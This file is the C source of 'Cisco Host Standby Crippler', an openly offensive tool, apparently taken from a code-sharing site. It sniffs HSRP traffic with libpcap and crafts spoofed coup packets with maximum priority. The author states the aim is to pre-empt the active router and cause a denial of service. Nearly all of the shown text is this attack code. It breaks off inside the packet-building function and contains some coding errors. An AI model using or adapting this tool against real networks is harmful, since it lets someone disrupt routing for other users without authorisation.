📄 main.c
字号:
//Cisco Host Standby Crippler
//By Big Poop root@networkpenetration.com
//
//You need libpcap installed
//To compile gcc *.c /usr/lib/libpcap.a -Wall -o hsrp_crippler
//Tested On Mandrake 8
//
//Use -S..... -C was only used during testing as i didn't have
//a router to hand for any of the initial development
//How it works...
// 1. Sniff for HSRP packets via libpcap
// 2. Create a spoofed packets from intial sniffed
// packet
// 3. Send spoofed packets saying the this machine
// has higher priority thus the active route
// will be pre-empted causing a DoS for aslong
// as the attack continues
//
//TODO... at some point i will add spoofed mac addresses via
//libnet.... only if i get bored :)
//
#include "HSRP.h"
#include <pcap.h>
//globals
struct ops o[0]; //Options Structure
struct in_addr addr;
struct sockaddr *dest;
struct sockaddr_in s_in;
socklen_t destlen;
int datalink; //pcap_datalink
char *device; //pcap device
pcap_t *pd; //packet capture struct pointer
int rawfd; //raw socket
int fddipad; //fddi hack from UNP
int snaplen = 200; //amount of data to grab
int main (int argc, char**argv)
{
int c;
char *ipaddr;
printf("Cisco Hot Standby Router Protocol Crippler v" VER "\n");
printf("By Big Poop root@networkpenetration.com\n");
if (argc < 2)
{
usage(argv[0]);
exit;
}
memset(&o, '\0', sizeof(o)); //clear options structure
opterr = 0;
while ( (c=getopt(argc, argv, "SCdi:h:a:v:g:f:")) != -1){
switch (c) {
case 'S': o->sniff = 1;
break;
case 'C': o->cripple = 1; //send coup
break;
case 'h': o->hellotime = atoi(optarg);
break;
case 'a': strncpy(o->auth, optarg, sizeof(o->auth));
break;
case 'v': if(!inet_aton(optarg, &o->virtualip)){
printf("Malformed IP address: %s\n",optarg);
exit;
}
break;
case 'g': o->group = atoi(optarg);
break;
case 'i': device = optarg;
break;
case 'f': if(!inet_aton(optarg, &o->spoofed)){
printf("Mallformed Spoof address: %s\n",optarg);
exit;
}
break;
default: usage(argv[0]);
exit(1);
}
}
if(!o->hellotime) o->hellotime = 3;
if(!o->group) o->group = 1;
printf("\n");
if((o->sniff) && (o->cripple)){
printf("You can't sniff and send a constructed packet\n");
exit(0);
}
if((!o->sniff) && (!o->cripple)){
printf("You need to select either sniff (-S) or cripple (-C)\n");
exit(0);
}
if(!o->sniff){
ipaddr = argv[optind];
if(!inet_aton((const char*)ipaddr, &addr)){
printf("%s is an invalid IP address\n", ipaddr);
exit(1);
}
}
if(o->sniff){
s_in.sin_family = AF_INET;
s_in.sin_port = htons(1985); //HSRP port
s_in.sin_addr.s_addr = inet_addr("224.0.0.2"); //multicast IP address
opensniff();
exit(0);
}
if(o->cripple){
coup();
}
exit(0); //shouldn't reach here
}
//start sniffing packets
void opensniff()
{
struct header *heada;
open_pcap(); //start packet capture
printf("Sniffing for HSRP packets......\n");
heada = udpread(); //get a HSRP packet
printf("Got a HSRP packet, details as follows\n");
printf("Version: %x\n", heada->buf[0]);
printf("Opcode: %x ", heada->buf[1]);
if(heada->buf[1] == 0) {
printf("Hello Opcode\n");
}
if(heada->buf[1] == 1) {
printf("Coup Opcode\n");
}
if(heada->buf[1] == 2){
printf("Resign Opcode\n");
}
printf("State: %d ", heada->buf[2]);
if(heada->buf[2] == 0) {
printf("Inital State\n");
}
if(heada->buf[2] == 1){
printf("Learn State\n");
}
if(heada->buf[2] == 2){
printf("Listen State\n");
}
if(heada->buf[2] == 4){
printf("Speak State\n");
}
if(heada->buf[2] == 8){
printf("Standby State\n");
}
if(heada->buf[2] == 16){
printf("Active State\n");
}
printf("Hello time: %x\n", heada->buf[3]);
printf("Hold time: %x\n", heada->buf[4]);
printf("Priority: %x\n", heada->buf[5]);
printf("Group: %x\n", heada->buf[6]);
printf("Reserved: %x\n", heada->buf[7]);
printf("Authentication: %c%c%c%c%c%c%c%c\n", heada->buf[8], heada->buf[9], heada->buf[10], heada->buf[11], heada->buf[12], heada->buf[13], heada->buf[14], heada->buf[15]);
printf("Virtual IP: %x.%x.%x.%x\n", heada->buf[16], heada->buf[17], heada->buf[18], heada->buf[19]);
sniffedcoup(heada);
exit(0);
}
struct header *udpread()
{
int len;
char *ptr;
struct ether_header *eptr;
for( ; ; ){
ptr = next_pcap(&len);
switch(datalink) { //loopback header = 4
case DLT_NULL:
return (udp_check(ptr+4, len -4));
case DLT_EN10MB:
eptr = (struct ether_header *) ptr;
if(ntohs(eptr->ether_type) != ETHERTYPE_IP){
printf("Ethernet Type %x not IP", ntohs(eptr->ether_type));
exit(1);
}
return (udp_check(ptr +14, len -14));
case DLT_SLIP: //slip header
return(udp_check(ptr + 24, len -24));
case DLT_PPP: //ppp header
return(udp_check(ptr + 24, len -24));
default:
printf("Unsupported datalink %d", datalink);
exit(1);
}
}
}
struct header *
udp_check(char *ptr, int len)
{
int hlen;
struct ip *ip;
struct header *hdr;
if(len < sizeof(struct ip) + sizeof(struct udphdr)){
printf("len = %d", len);
exit(1);
}
ip = (struct ip *) ptr;
if (ip->ip_v != IPVERSION) {
printf("ip_v = %d", ip->ip_v);
exit(1);
}
hlen = (ip->ip_hl << 2);
if(hlen < sizeof(struct ip)){
printf("ip_hl = %d", ip->ip_hl);
exit(1);
}
if (len < hlen + sizeof(struct udphdr)){
printf("len = %d, hlen = %d",len, hlen);
exit(1);
}
if ((ip->ip_sum = in_chksum((u_short *) ip, hlen)) !=0){
printf("ip checksum error");
exit(1);
}
if (ip->ip_p == IPPROTO_UDP){
hdr = (struct header *) ip;
return (hdr);
}
else {
printf("not a udp packet\n");
exit(1);
}
}
#define CMD "udp and src port %d" //cmd line
void open_pcap(void)
{
uint32_t localnet, netmask;
char cmd[MAXLINE], errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fcode;
printf("Trying to open Pcap device\n");
if (device == NULL){
if((device = pcap_lookupdev(errbuf)) == NULL){
printf("pcap_lookup: %s\n", errbuf);
exit(1);
}
}
printf("device = %s\n", device);
//hardcode promisc = 0, to_ms = 500
if((pd = pcap_open_live(device, snaplen, 0, 500, errbuf)) == NULL){
printf("pcap_open_live: %s\n", errbuf);
exit(1);
}
if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0){
printf("pcap_lookupnet: %s\n", errbuf);
exit(1);
}
snprintf(cmd, sizeof(cmd), CMD, 1985);
if (pcap_compile(pd, &fcode, cmd, 0, netmask) <0){
printf("pcap compile: %s", pcap_geterr(pd));
exit(1);
}
if (pcap_setfilter(pd, &fcode) < 0){
printf("pcap_setfilter: %s", pcap_geterr(pd));
exit(1);
}
if ((datalink = pcap_datalink(pd)) < 0){
printf("pcap_datalink: %s", pcap_geterr(pd));
exit(1);
}
}
char *
next_pcap(int *len)
{
char *ptr;
struct pcap_pkthdr hdr;
//loop until packet ready
while((ptr = (char *) pcap_next(pd, &hdr)) == NULL);
*len = hdr.caplen;
return(ptr);
}
//non sniffed packets
void coup()
{
struct sockaddr_in sin;
int sock;
int sinlen;
int on = 1; //used in setsockopt
unsigned char *ipp;
struct header heada;
ipp = (unsigned char *) &o->virtualip.s_addr;
memset(&heada, '\0', sizeof(heada));
printf("sending coup command to preempt da server\n");
heada.ip.ihl = 5;
heada.ip.version = 4;
heada.ip.tos = 0;
heada.ip.tot_len = htons(40);
heada.ip.frag_off = 0;
heada.ip.ttl = 1; //may need to change
heada.ip.protocol = IPPROTO_UDP;
heada.ip.check = 0; //calculated after
if(o->spoofed.s_addr){
heada.ip.saddr = o->spoofed.s_addr; //spoofed address
}
else heada.ip.saddr = 0; //let kernel decide
heada.ip.daddr = addr.s_addr; //use multicast address 224.0.0.2
heada.udp.source = htons(1985);
heada.udp.dest = htons(1985);
heada.udp.len = htons(28);
heada.udp.check = 0; // u don't need a checksum apparently
heada.buf[0] = 0x00; //version
heada.buf[1] = 0x01; //opcode 1 = coup
heada.buf[2] = 0x10; //state ACTIVE
if(o->hellotime) heada.buf[3] = o->hellotime;
else heada.buf[3] = 0x03; //hello time
heada.buf[4] = 0xff; //holdtime 255
heada.buf[5] = 0xff; //priority 255
if(o->group) heada.buf[6] = o->group;
else heada.buf[6] = 0x01; //group
heada.buf[7] = 0x00; //reserved
if(*o->auth){
heada.buf[8] = o->auth[0];
heada.buf[9] = o->auth[1];
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -